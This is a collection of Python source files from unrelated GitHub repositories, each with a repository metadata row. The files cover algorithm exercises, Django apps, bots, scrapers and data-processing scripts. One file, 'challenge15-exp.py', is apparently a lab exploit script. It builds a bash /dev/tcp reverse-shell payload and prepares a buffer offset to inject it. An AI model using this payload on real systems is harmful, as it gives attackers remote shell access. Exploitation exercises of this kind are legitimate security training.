05070d8369a286f6a129af586176cf232fd07688 | 6976c4144ec4320745b1233891da538c9011e8ee | /Day1 (Arrays)/05MaxSubarraySum.py | 118387792d03050c21e22caa67c83a61deb3fea1 | [] | no_license | Dexterzprotege/SDE30DayChallenge | 0446565f5fb892b573afe55c65cdf897e9620b6c | 2825d41841739c908bbd0443dd5b04f661bd82d3 | refs/heads/master | 2022-12-17T18:38:25.876314 | 2020-09-21T15:45:21 | 2020-09-21T15:45:21 | 295,929,193 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 981 | py | 05MaxSubarraySum.py | '''Link: https://leetcode.com/problems/maximum-subarray/
Given an integer array nums, find the contiguous subarray (containing at least one number) which has the largest sum and return its sum.
Follow up: If you have figured out the O(n) solution, try coding another solution using the divide and conquer approach, which... |
d16d65110e82795360858f635b9e1245dc59f063 | f58c3b787c7c8deee4403fccb542c9e13bac9dfa | /apps/base_app/services/queue.py | 2bbc34baf2d581af725bfd60d0196b4a796efb88 | [] | no_license | utkarsh-iquanti/alps-project-meta-transform | 2684286434d6d58714f616b3fb1e83b02335b801 | cecd2e2424eb89fa433e43588c3269a18a8897b6 | refs/heads/master | 2021-09-28T19:40:15.996869 | 2020-02-04T10:53:45 | 2020-02-04T10:53:45 | 237,170,129 | 0 | 0 | null | 2021-09-22T18:31:33 | 2020-01-30T08:30:47 | Python | UTF-8 | Python | false | false | 2,460 | py | queue.py | from boto import sqs
from boto.sqs.message import Message
class QQueueConnection(object):
__queue_connection = None
def __init__(self, *args, **kwargs):
self.region = kwargs.get('region', None)
self.access_key = kwargs.get('access_key', None)
self.secret_key = kwargs.get('secret_key',... |
7f60f5bc6f6387375991acea374cf36ef7948597 | 2de3ceb033e0a265b58ae28b585b80fc60e6f078 | /BackEndTelegram/app/handlers/user_group.py | 51e3f9b10a4505b75e9b0b6da24636dd7c497d53 | [] | no_license | murmaider227/ScheduleBot | 4854846e479e37b37f2b4ddee514b99d0cc9f275 | cf1370e3b4b010168effdd57b11f7ed4e3a5ce58 | refs/heads/main | 2023-07-31T09:44:41.590275 | 2021-10-02T11:34:15 | 2021-10-02T11:34:15 | 408,216,629 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,011 | py | user_group.py | from aiogram import types, Dispatcher
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters.state import State, StatesGroup
from app.utils import print_schedule, save_user_group
import app.keyboards as keyboard
from app.db import DataBase
db = DataBase()
class ChooseMajor(StatesGroup):
save... |
b45b4bfdfc21dd39d11b172c38cbba001b6db118 | 0b21c6be0e480093e8943bd1d95c50ce80101fbd | /wayne/parsers/state_machines.py | 89d79c06da341b2b16d7e12130a7f237469e9cc3 | [] | no_license | babylanguagelab/bll_app | f8708951eafb89fe08724cbb6190aac45123d6ef | 8b08a75ebe18a7b18ec0cd1b1ab824e1e0ad95f6 | refs/heads/master | 2021-01-17T02:22:06.701243 | 2017-11-01T22:04:17 | 2017-11-01T22:04:17 | 31,901,818 | 0 | 1 | null | 2015-05-27T22:10:50 | 2015-03-09T14:08:28 | Python | UTF-8 | Python | false | false | 20,927 | py | state_machines.py | ## @package parsers.state_machines
from data_structs.utterance import Utterance
from db.bll_database import DBConstants
from utils.backend_utils import BackendUtils
from utils.enum import Enum
from errors import *
import re
import logging
## This class handles the task of generating Utterance objects from the data w... |
4adc8492ac4d9711d784621348bb1076e65e4dfb | daa2b32ef8740d334051451ea342ed242d459354 | /educator_news/ed_news/models.py | 848f7216c9955d505881c8ed69426c0b56398fdb | [
"MIT"
] | permissive | yoshymura/educator_news | c887b19418850466dd6cfdbe142dcfe34b7d1e48 | 9c2d5aaef51ece4bfa9d535f80bec910edfd78d5 | refs/heads/master | 2021-01-22T17:52:58.729663 | 2014-03-28T15:13:19 | 2014-03-28T15:13:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,356 | py | models.py | from django.db import models
from django.contrib.auth.models import User
# --- Educator News models ---
class Submission(models.Model):
"""A base class for the two types of submission,
which are an article and a text submission. Text submissions
can be questions, ie Ask EN, or posts such as Show EN.
"... |
0b403c030e6440c7185a5bdf7e6a42526350699e | f086bec89dfcb6a47888299577cc5ca7e6e1a637 | /check_delay_scale.py | 97da8e5deb8b51638eafe8c48bd671563a506b43 | [] | no_license | laurentperrinet/bcpnn-mt | 7cbc5bf698e6c8d7c9ba387cac21e112cc91ff0b | ec9d6e5050db94ba7b062b52ec767356abc7a3ef | refs/heads/master | 2021-05-26T15:38:00.576587 | 2013-11-22T13:53:09 | 2013-11-22T13:53:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,558 | py | check_delay_scale.py | """
This script requires data from an example run to be present in the standard output folder.
Thus, do a run_all.sh with a small network before - without any connectivity, i.e. set all connectivity_* parameters to False
"""
import numpy as np
import pylab
import utils
import sys
import simulation_parameters
PS = si... |
74ffe88c1dd768b7cf67dc4cbaa2d2d497cb19ac | 5fcae778cecb4c739528964d25ee965df8499976 | /Lizi/一个函数有多个return.py | 29dfeffea4cd4c8f97429eda193a8414204b1df2 | [] | no_license | nightwiz/Learn-Python | dffd49bd8b068dbc6d16a42e4e0e6a6d4ea2a446 | eb06ffdb5641bd2506cc7af4958f9b2348fd3a1f | refs/heads/master | 2021-01-12T06:50:57.514147 | 2018-05-20T16:30:55 | 2018-05-20T16:30:55 | 76,839,312 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 207 | py | 一个函数有多个return.py | def test():
a = 11
b = 22
c = 33
# return a,b,c
# return [a,b,c]
# return (a,b,c)
return a
return b
return c
num = test()
print(num)
# return,结束函数的执行
|
5f9f490fc67d987bd9745a55e5d6a70c05071517 | f9c657201031017690ad10cd0c7e1f259c94fe70 | /src/django_ixctl/management/commands/ixctl_rsconf_generate.py | 7805ca32e87a01058dfb6f22d3632cc5188d847c | [
"Apache-2.0"
] | permissive | Shasthojoy/ixctl | cec7d9be6b202b65c78436142c0291660b0fbe97 | f30e6f55111ce38fdb3d5f6cf085fe5234dad183 | refs/heads/master | 2023-09-04T07:43:59.077810 | 2021-10-29T16:44:57 | 2021-10-29T16:44:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 693 | py | ixctl_rsconf_generate.py | from django.core.management.base import BaseCommand
from django_ixctl.models import Routeserver, RouteserverConfig
class Command(BaseCommand):
"""
Regenerate updates routeserver configs
"""
# def add_arguments(self, parser):
# parser.add_argument("--pdburl", default="https://www.peeringdb.co... |
d7cd359ed6af19786e97dc2a340390d98de0804c | 369241ed9879fa56d19861c64bf948921e15edab | /coupon/admin.py | 712e9914fb612765b3a5c06a4b67ab87bf4e719a | [] | no_license | gmrzone/BasicEcommerceWithInternationalization | e2c7470749ea34e859fcf92cfd7187623b467800 | abcc9fdbe1cfa733443884bbaeaa587b1d2935c3 | refs/heads/master | 2023-04-29T07:14:37.711818 | 2021-05-20T14:18:26 | 2021-05-20T14:18:26 | 327,602,735 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | admin.py | from django.contrib import admin
from .models import CouponCode
# Register your models here.
@admin.register(CouponCode)
class CouponCodeAdmin(admin.ModelAdmin):
list_display = ('code', 'discount', 'valid_from', 'valid_to', 'is_active')
list_editable = ('discount', 'is_active')
search_fields = ('code',)
... |
9c904a19ea9a4aa79d9b90acbcf13a2f922e9d6d | 2aa3b2371d83d78cf409910685ab19608c9b8b76 | /test14.py | f8abcd298a183e140f0a03d8efc96956eeee5d38 | [] | no_license | itakurayuta1122/scrapingpython | cf176e0d7afcd71006a774a33faa1686ec66631f | 0857feee66897690e07cf028176e988eba820d67 | refs/heads/main | 2023-03-30T13:28:45.319587 | 2021-04-05T13:57:44 | 2021-04-05T13:57:44 | 354,850,130 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,468 | py | test14.py | from selenium import webdriver
from selenium.webdriver.common.alert import Alert
import time
import datetime
import openpyxl
import os
import shutil
import pandas as pd
#回数別継続
# 1.操作するブラウザを開く
# /Users/Kenta/Desktop/Selenium/chromedriver
driver = webdriver.Chrome('./Selenium/chromedriver')
# 2.操作するページを開く
driver.get('... |
781251afdc7a280d3d376206d99253dc971aed3a | 9f3fa29b9a27223e320753895231a43b05dba0c2 | /users/migrations/0006_auto_20201223_0703.py | f7d3593b067105d73686a6354fd589608d970b47 | [
"Apache-2.0"
] | permissive | Braineanear/AL3wn | d33e6f9deeabcc80a38364632851ba5147d430ba | b523d25386a8b2e45487d1b9d2c78cead623c1e6 | refs/heads/master | 2023-08-17T12:32:28.608089 | 2021-09-25T08:13:42 | 2021-09-25T08:13:42 | 329,914,055 | 1 | 0 | Apache-2.0 | 2021-09-25T13:28:57 | 2021-01-15T13:04:21 | HTML | UTF-8 | Python | false | false | 1,267 | py | 0006_auto_20201223_0703.py | # Generated by Django 3.1.4 on 2020-12-23 05:03
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0005_auto_20201211_0048'),
]
operations = [
migrations.AddField(
model_name='applicant',
name... |
46ac8182669953b0530c5cd09b296d6bc2c79a65 | d5ca54fd4f0b97e9eb584d49d5a65f6d03d3d0de | /summer-grpc/client.py | d6a107d01aa69c9ce9aa38fd64041ff4b151e1b6 | [
"MIT"
] | permissive | mgh35/lab-grpc | e221ac390650917fddf679d321924a39665125e8 | d387e00c17b479e2cfc5cc77e62e626fe639bf2d | refs/heads/master | 2022-10-17T06:55:13.740081 | 2020-06-08T01:52:24 | 2020-06-08T01:52:24 | 270,138,926 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 410 | py | client.py | from generated import summer_pb2, summer_pb2_grpc
import grpc
import sys
import typing
def run(values: typing.List[int]):
with grpc.insecure_channel('localhost:50051') as channel:
stub = summer_pb2_grpc.SummerStub(channel)
summed = stub.Sum(summer_pb2.ToSum(values=values))
print(summed)
... |
ff6be99eb4bed599756dd7e38b2c9aa725af6025 | f8acbc374bd483d69efde09fd1d58d4514ec6431 | /week_2/crawler_24h_pchome.py | 35057a4bb03d0be7ff0575f511914002b2f00235 | [] | no_license | paitorch/NTU-CSX-5001-Project | d8c8e1ac48f0e0e266a98f69567c9505e417cb9c | 34008275945daf246fb581090a19bdcf8861d89c | refs/heads/master | 2020-03-07T13:37:00.070097 | 2018-04-10T19:07:39 | 2018-04-10T19:07:39 | 127,505,689 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,518 | py | crawler_24h_pchome.py | # -*- coding: utf-8 -*-
"""
Created on Tue Apr 10 16:12:30 2018
@author: Louis github: paitorch
"""
from urllib.request import Request
from urllib.request import urlopen
from urllib.request import urljoin
from urllib.parse import urlparse
from urllib.error import URLError
from html.parser import HTMLParser
# get ... |
bc1ba6351e7ae96ebfde85b295d32bb67670a58e | bc68267252b6b1161a792845478b1b683fd35dd4 | /musync_core/apps.py | 255be0955d19ddc35e16a6ded5884f7483750f99 | [] | no_license | Discreater/MuSync | 502bfd583f937ab2575f23ce28d7837f7d91b9f9 | f3b24e4fdfa9410b116f7370108d49ed94c90a43 | refs/heads/master | 2020-05-31T18:01:34.139152 | 2020-04-18T09:21:48 | 2020-04-18T09:21:48 | 190,329,437 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 96 | py | apps.py | from django.apps import AppConfig
class MusyncCoreConfig(AppConfig):
name = 'musync_core'
|
cd60e3b9b5b9824089b010b7f49d1b87032b088a | e83937c38b54472d213ff2bd82145ce956f78558 | /credit_svm.py | 96a5d0d54006d568170bf8b3ee369d8b2eb75b91 | [] | no_license | knssc12/creditcard | 5e8ddabead30395bbe0040a5cc34f5b2aab72d70 | 3c153a0b0f5518ba2357bcaf6e86679a6be00d28 | refs/heads/master | 2020-09-07T20:16:54.998092 | 2019-11-12T12:09:22 | 2019-11-12T12:09:22 | 220,902,286 | 0 | 0 | null | 2019-11-11T04:41:17 | 2019-11-11T04:41:14 | null | UTF-8 | Python | false | false | 570 | py | credit_svm.py | import numpy as np
import pandas as pd
from sklearn import svm
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import StandardScaler
from sklearn.svm import LinearSVC
data = pd.read_csv("creditcard_small.csv")
x = data[["V1","V2","V3","V4"]]
y = data["Class"]
svm_clf = Pipeline([
("Scaler", Stand... |
e4e80f79e9c3580beecf317e35409073fb45f4b3 | f71811f4faa39397689d5959e28943568d51074d | /speedmon/storage/storage_handler_base.py | 6818bf90f8945121d671121d407a32cdc66afc73 | [] | no_license | jack828/Speedmon | 68f7089c874b08f3d118ae709e3d94d90b97ab47 | b31aa0c9872a40108710eed8040fff6a59576e4f | refs/heads/master | 2023-08-02T13:23:36.946058 | 2021-10-05T01:47:54 | 2021-10-05T01:47:54 | 413,532,409 | 0 | 0 | null | 2021-10-04T18:04:49 | 2021-10-04T18:04:48 | null | UTF-8 | Python | false | false | 1,384 | py | storage_handler_base.py | import logging
from typing import Dict
from speedmon.common.speed_test_results import SpeedTestResult
from speedmon.storage.storage_config import StorageConfig
log = logging.getLogger(__name__)
class StorageHandlerBase:
def __init__(self, storage_config: StorageConfig):
self.storage_config = storage_c... |
ba83b43ee2c9643ab0d355e17be4dbe5b6f31e58 | fd1a1a56a0004d94d1ec471f167e679365f95b15 | /api-test.py | 7903c4d801efcbde405621f4c0f4d110c0f693c2 | [] | no_license | Bateoriginal/api-test | 014697ffab016b8c9d291679c9b1e0e5c19d98dc | 6d725cf3d212e8739a30b866aadae7019f7d4114 | refs/heads/master | 2020-03-30T05:53:22.509509 | 2018-10-05T03:45:47 | 2018-10-05T03:45:47 | 150,825,776 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,049 | py | api-test.py | '''
api-test.py
Bat-Orgil Batjargal, 1 October, 2018
Used NASA Astroid API
Data: Retrieve a list of Asteroids based on their closest approach date to Earth.
GET https://api.nasa.gov/neo/rest/v1/feed?start_date=START_DATE&end_date=END_DATE&api_key=API_KEY
QUERY PARAMETERS
Parameter Type Default Descr... |
9d127271fc8cbe2b4f09f9d63b2c6f6e84a10258 | d9885e6f65ff0c76f3764646cce91173aba106ae | /code/removeCTRLM.py | 1ac2488d496cbee6ffaeef212e4881f609722caf | [
"MIT"
] | permissive | YifZhou/HST_Cycle26 | 943a156517b80496b99b6e778ada3142740201a4 | af10e8d7a3ac2bd03fb33458a5a8178937b5a5b7 | refs/heads/master | 2020-04-05T11:11:08.314353 | 2018-11-09T20:27:13 | 2018-11-09T20:27:13 | 156,826,176 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 452 | py | removeCTRLM.py | import tempfile
from os import path
import os
import glob
def removeCTRLM(filename):
with tempfile.NamedTemporaryFile(mode='w', delete=False) as fh:
for line in open(filename):
line = line.rstrip()
fh.write(line + '\n')
os.rename(filename, filename + '.bak')
os.ren... |
84e99a3bdc929b661c4c8811dee7d61710c53af9 | f705e95571a5dc7ad86e3c68d59546c91a99d491 | /sound.py | 4440e677a1626a9726ec13182bb94a2a7613898a | [] | no_license | yui0204/jpop_classification | e66c2cd36820ffee54acd3cdf1243efebc8fea53 | 319c31206502650bb1d52ce737bac72ea37a3b0c | refs/heads/master | 2020-06-04T21:56:17.612593 | 2019-06-18T22:36:16 | 2019-06-18T22:36:16 | 192,206,270 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 114,795 | py | sound.py | # -*- coding: utf-8 -*-
"""このファイルはwavファイルを読み込むためのものです"""
import shutil
import h5py
import wave
#import struct
from struct import unpack
from numpy import frombuffer
import numpy as np
import pandas as pd
import librosa
import librosa.display
from scipy import signal
#from scipy.fftpack import fft, if... |
7cbceea6ddaeca7f7aa214fb3e3de695d5eaf7fe | 45afab4f472021b45ba36b2dd34575133ab3cf54 | /src/decorators.py | a30c56dbac94b5ed9ac219d4f4925bcca20b8c0e | [
"MIT"
] | permissive | Minigrim0/ClientMecontent | 2efbb77aada4cdb76b0cf60f1288d7a81fcac902 | cd75a0148ba2ccc1f5a2bbbc0c255bbcf0bd2b4f | refs/heads/master | 2023-06-20T14:29:44.011663 | 2021-07-09T12:49:02 | 2021-07-09T12:49:02 | 285,326,506 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,768 | py | decorators.py | import sqlite3
import traceback
import logging
from datetime import datetime
import sys
from src.utils import send_error_message, databaseLocation
from singleton.settings import Settings
from singleton.client import Bot
class require_role:
"""A decorator verifying that the user that wrote the command as the righ... |
eac27228481b489c21d5e1821eb87e2ad38ee0fc | 4c5d477c617d965c9d5189933f54de4cff960166 | /scripts/task2/text_preprocessing.py | 261a1dd77f5f5fdf45756a810e0f0d4370bbeccc | [] | no_license | mmmmmmiracle/pytorch_learning | d7c263c8d9c9cc651d2de17629041a077ed1ba2a | fc56f3cdffc6cdf7bb85d306a38ee6fbc4ff6777 | refs/heads/master | 2020-08-25T05:47:25.881277 | 2020-03-03T11:55:21 | 2020-03-03T11:55:21 | 216,970,078 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,471 | py | text_preprocessing.py | #!/usr/bin/env python
# coding: utf-8
# # 文本预处理
#
#
# 文本是一类序列数据,一篇文章可以看作是字符或单词的序列,本节将介绍文本数据的常见预处理步骤,预处理通常包括四个步骤:
#
# 1. 读入文本
# 2. 分词
# 3. 建立字典,将每个词映射到一个唯一的索引(index)
# 4. 将文本从词的序列转换为索引的序列,方便输入模型
# ## 读入文本
#
# 我们用一部英文小说,即H. G. Well的[Time Machine](http://www.gutenberg.org/ebooks/35),作为示例,展示文本预处理的具体过程。
# In[2]:
im... |
1ea8c11789a5edf057821a77efe495d45ef66f5c | 37356494ba23efbc2456558f9e3c4eafd9a86568 | /dzl/dz2/admin.py | 53f74028b68c5db62a66e73acc4dec8042806c1d | [] | no_license | pavelled/DZ_rip | 1dd4e22b5b720a94820590b0d95d65cb573aa222 | 61ca0dbfcb0096d811574bc4a25f20fb72b24b53 | refs/heads/master | 2021-05-12T06:33:45.116169 | 2018-01-12T09:21:23 | 2018-01-12T09:21:23 | 117,220,109 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 290 | py | admin.py | from django.contrib import admin
# Register your models here.
from django.contrib import admin
from django.contrib import admin
from dz2.models import group
from dz2.models import Group_user
admin.site.register(group)
admin.site.register(Group_user)
# Register your models here.
|
02b8234278e552eddcec9522b1048195e221f64c | 9ae6a002692cc0808e6a8fa1c9b713cfe5ea35d9 | /Exercises/Exercise8.py | 60f0e9e4dcefdb018bafb873f66e66574d9b89c2 | [] | no_license | Piinks/CSI_Python | 7e7208ae8ff22a183b30bb58e22558b2cec7114b | fe37774c0549b334ef76051f95516ed94346667a | refs/heads/master | 2021-06-12T23:28:44.420481 | 2017-01-04T16:32:13 | 2017-01-04T16:32:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 717 | py | Exercise8.py | # Program Exercise 8
# Kate Archer
# CSCI 1170-008
# September 29, 2015
# The purpose of this program is to calculate the factorial
# of the inputted nonnegative integer.
# Display the purpose of the program.
print('Welcome to the Factorial Factory!')
# Get the input from the user.
n = int(input('Please enter a nonne... |
a1ac51a63317cd3fb863799d46cc2d667f7b3614 | 272f1c35f316145df4cd4e34f301a2ca6ce46d4d | /Week_04/[120]三角形最小路径和.py | 4eef1e867ab63c2f90bd8581a11f1a59fb02c23e | [] | no_license | donghe123178/AlgorithmQIUZHAO | c2086b3660daca2ab6bd56b63ea606884314376f | d6e2971312695675a64a27813e360be98c60e748 | refs/heads/master | 2022-12-08T18:18:09.284459 | 2020-09-07T02:08:50 | 2020-09-07T02:08:50 | 278,666,372 | 0 | 0 | null | 2020-07-10T15:15:57 | 2020-07-10T15:15:56 | null | UTF-8 | Python | false | false | 2,980 | py | [120]三角形最小路径和.py | # 给定一个三角形,找出自顶向下的最小路径和。每一步只能移动到下一行中相邻的结点上。
#
# 相邻的结点 在这里指的是 下标 与 上一层结点下标 相同或者等于 上一层结点下标 + 1 的两个结点。
#
#
#
# 例如,给定三角形:
#
# [
# [2],
# [3,4],
# [6,5,7],
# [4,1,8,3]
# ]
#
#
# 自顶向下的最小路径和为 11(即,2 + 3 + 5 + 1 = 11)。
#
#
#
# 说明:
#
# 如果你可以只使用 O(n) 的额外空间(n 为三角形的总行数)来解决这个问题,那么你的算法会很加分。
# ... |
59673dcfcf4c3f2e244ff27012677a3f0c1178ba | a1d4e434e3f5110f4ee4e7c0624463bb7b444d48 | /server/routes.py | 82e160aba320c6c1f60b728d7961311fa6729cac | [] | no_license | jaredhanson11/pop-up-pay-server | 9298021696114ce516b99ec64e41ee9713a788ce | 7ba389cd4448929bf23300ae12741fc4ce597e8a | refs/heads/master | 2021-01-01T04:14:00.119090 | 2017-07-13T22:59:07 | 2017-07-13T22:59:07 | 97,144,368 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 545 | py | routes.py | from . import api
import controllers.merchant
import controllers.client
import controllers.transaction
def add_routes():
api.add_resource(controllers.merchant.MerchantController, '/merchant/<string:id>')
api.add_resource(controllers.client.ClientBuyController, '/purchase/<int:client_id>/<string:merchant_id>/<s... |
205362af28923614a27e81706188e0bfaf11de36 | d25d76e1f260d77c0c269a1f2be7ea687ce3b4f3 | /DjangoProject/webtoonList/views.py | f34855ec1164127e53178017705c4151c48e1e3c | [] | no_license | ParkJeongseop/MyPrecious-Webtoon | bcc384fa38bf55958315db237652bc3dfa89d723 | 1d37a9c9806131561b81ef312c453480956c0754 | refs/heads/master | 2022-04-19T04:04:36.648099 | 2020-04-18T10:36:53 | 2020-04-18T10:36:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,332 | py | views.py | from django.shortcuts import render, redirect, get_object_or_404
from django.http import JsonResponse
from django.db.models import Max
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from django.views.decorators.csrf import csrf_exempt
from django.contrib import messages
from django.template.lo... |
319e157f0f4d7fef4352d1a1875d973fb2d24dcf | 11692a0e0b784252dea9ce5c2d97297d890ab520 | /arquivos-py/CursoEmVideo_Python3_AULAS/aula-16d.py | 8c2005ca07159ffe84fb206f70c1188498ee069e | [
"MIT"
] | permissive | oliveiralecca/cursoemvideo-python3 | bcd6dde54e26702f964e002221dda36c6eb8fd9f | e0a3e27d73a49ce0e72ae4faa9ac0c6da9811d2e | refs/heads/master | 2023-03-31T07:21:34.739162 | 2021-03-29T00:38:42 | 2021-03-29T00:38:42 | 271,679,170 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 255 | py | aula-16d.py | lanche = ('Hambúrguer', 'Suco', 'Pizza', 'Pudim', 'Batata Frita')
a = (5, 7, 3, 9, 2)
print(sorted(lanche))
print(sorted(a))
# COLOCA A TUPLA EM ORDEM
# TRANSFORMANDO () EM [] => OU SEJA, TRANSFORMANDO A TUPLA EM LISTA (para que possa ser "mutável")
|
1a201e19ff78ce04121555f5959bfe6f0621dc60 | aa01560e68a07033d4b24c4770966771349e2b4f | /src/jobs/migrations/0005_jobapplication.py | c12cb362a05664bb136b1f4a4e14c216120c6af8 | [] | no_license | fluffcoding/solitaireHR | a0a357e1b19b955caae8df11ca92188cad79e217 | b97a29f9accc5b45cd62986b62673a6ba802771b | refs/heads/main | 2023-04-05T11:46:41.855323 | 2021-04-26T04:57:27 | 2021-04-26T04:57:27 | 322,067,817 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,303 | py | 0005_jobapplication.py | # Generated by Django 3.1.2 on 2020-12-09 14:47
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('jobs', '0004_auto_202012... |
081c0b565069ef0488729c52d53c0e57a6dc9fbf | 4bc0bc930d6379bb9c8d4a1ab7975f27a537f9c2 | /demos/flask_app/relayr_provider.py | b01b136f544ab4fc4c7a312cef0e14088d21040c | [
"MIT"
] | permissive | interoberlin/Wunderbar-Python-SDK | 26d21bb8a9cb5e62455fba65c5c735cb21322fff | 20d860a8de811da1bde2a67722703acb4f4499c9 | refs/heads/master | 2021-01-17T18:54:56.582883 | 2015-06-30T10:04:15 | 2015-06-30T10:04:15 | 47,787,744 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,924 | py | relayr_provider.py | import json
import authomatic.core as core
from authomatic.providers.oauth2 import OAuth2, PROVIDER_ID_MAP
from relayr import Client
class Relayr(OAuth2):
"""
Relayr |oauth2| provider.
.. warning::
|no-csrf|
* Dashboard: https://developer.relayr.io
* Docs: https://developer.relayr.... |
12b18063ca3e2f37eae9bf5f2933aa15f59a0934 | 470edec7fabd01c3b3eafef7ca6b08cfc2054a89 | /counties.py | ae8a1f5e0b5d332cdc145ee2276f63c19f91130a | [] | no_license | VictorPDX/Data-Science-U.S.-Gun-Violence | 2e369ff2621701674b67340e1fba337d848c546f | 834a319aec7bac1115b8f87c07d5319e1e67c3c5 | refs/heads/main | 2023-07-12T00:58:35.006203 | 2021-08-12T20:05:51 | 2021-08-12T20:05:51 | 382,714,955 | 0 | 0 | null | 2021-08-12T20:00:49 | 2021-07-03T21:50:19 | Python | UTF-8 | Python | false | false | 1,326 | py | counties.py | import pandas as pd
import numpy as np
import numbers
import plotly
from plotly.offline import init_notebook_mode, iplot
import plotly as py
import plotly.graph_objs as go
from plotly import tools
import folium
from config import *
from tqdm import tqdm
# from folium import plugins
# init_notebook_mode(connected=True)... |
5e1bb717e9d5cf24fa296d251c8bf028a53e0454 | 580e879199753f21d4319851f071b9ff46d71686 | /challenge15/challenge15-exp.py | 45e23224d68530a82f413c54ecbbd92ea4f8af4a | [
"MIT"
] | permissive | sandromelobrazil/yookiterm-challenges-files | ea24bc7909ae79cfa8c1d243967eb9711faeb140 | 81daab38d83bdc083bd9a66e90eea1397c5e30ed | refs/heads/master | 2022-08-11T14:44:28.362568 | 2020-05-21T17:15:19 | 2020-05-21T17:15:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 589 | py | challenge15-exp.py | #!/usr/bin/python
#
# it will connect to localhost:1337
# start the reverse shell handler:
# $ nc -l -p 1337
import sys
import socket
shellcode = "0<&181-;exec 181<>/dev/tcp/127.0.0.1/1337;sh <&181 >&181 2>&181"
#shellcode = 'touch /tmp/test.csnc'
shellcode = 'bash -c "' + shellcode + '" #'
buf_size = 256
offset ... |
75b16c90e82d9bca877c1fbaf54f427408b0634e | e192a868374637710d03b358f117b359c8fa536b | /Filter.py | c60f9e9ebe877f166c942a03535218f78e543907 | [
"MIT"
] | permissive | wesley1001/GridSearchBacktestMedium | c7997e2464eda14374ce248f13ea08fa3bf5887a | 28656d0595f2156f24121939612047afc7b5e60d | refs/heads/master | 2023-03-16T03:49:46.501098 | 2019-08-30T12:30:15 | 2019-08-30T12:30:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 819 | py | Filter.py | import numpy as np
class RollingMeanFilter(object):
def __init__(self, window1, window2, multiple, df):
assert window1 < window2
self.rolling_mean1 = df.rolling(window=window1).mean()
self.rolling_mean2 = df.rolling(window=window2).mean()
self.ratio = self.rolling_mean1 / self.rol... |
df6540fc96db119b67f2af4c3da529eddadc59de | 76d87175b6db49b0eeaeb3904718699e9cfb09cf | /medlocator/apps/pharmacy/models.py | 0a83be8350368ffd4478aea3b211a3e5c7bfe724 | [] | no_license | The90sInc/medlocator | 7bc442a9c2c62cc30e69c34c5789ef7641912752 | 5daf1455c5ffdfbf1486b70fad6c13f54c7abbf5 | refs/heads/main | 2023-06-15T18:58:43.136450 | 2021-07-11T18:13:57 | 2021-07-11T18:13:57 | 385,021,060 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 926 | py | models.py | from django.contrib.auth.models import User, AbstractBaseUser
from django.core.validators import RegexValidator
from django.db import models
from django.utils.translation import gettext_lazy as _
from phonenumber_field.modelfields import PhoneNumberField
# Create your models here.
class Pharmacy(AbstractBaseUser):
... |
645fe3843ba18bc754cabf1af798824b5c5ff9e0 | 7c14313ddb570ee6c10b67132f66676845350a85 | /단계별로 풀어보기/수학 2/3053_택시 기하학.py | 464e1b0d649657c2e4c14a1a856bc248f67d40bd | [] | no_license | jongtix/Python_Baekjoon | 864eebe6e959417d92c3b1ba3549afc33aa37045 | 89df7a46a6c6b09b01888f905d864d5b59af95b8 | refs/heads/master | 2023-01-02T18:39:07.871990 | 2020-10-19T08:34:38 | 2020-10-19T08:34:38 | 265,094,216 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,325 | py | 3053_택시 기하학.py | # 문제
# 19세기 독일 수학자 헤르만 민코프스키는 비유클리드 기하학 중 택시 기하학을 고안했다.
#
# 택시 기하학에서 두 점 T1(x1,y1), T2(x2,y2) 사이의 거리는 다음과 같이 구할 수 있다.
#
# D(T1,T2) = |x1-x2| + |y1-y2|
#
# 두 점 사이의 거리를 제외한 나머지 정의는 유클리드 기하학에서의 정의와 같다.
#
# 따라서 택시 기하학에서 원의 정의는 유클리드 기하학에서 원의 정의와 같다.
#
# 원: 평면 상의 어떤 점에서 거리가 일정한 점들의 집합
#
# 반지름 R이 주어졌을 때, 유클리드 기하학에서 원의 넓이와, 택시... |
55e9d9f27b83812be15ba31cc2ad67bea215aade | b9ea9c454b92f56d691fc8e65d8f879220c57970 | /untitled.py | 4ce057a1b5a99dc4cd62c8522f9b64ffdc3cb996 | [] | no_license | charmander10/python-pyQt5-instagram-Giveaways-script-basic | 6efb3dfc3d22ce16aee58c7af10c8dec61e0cf48 | 72cec046a35386c1dbefba24b1512e360ded2e3f | refs/heads/main | 2023-02-23T11:15:42.504217 | 2021-01-28T17:18:47 | 2021-01-28T17:18:47 | 327,079,153 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,454 | py | untitled.py | from PyQt5 import QtCore, QtGui, QtWidgets
import time
from instapy import InstaPy
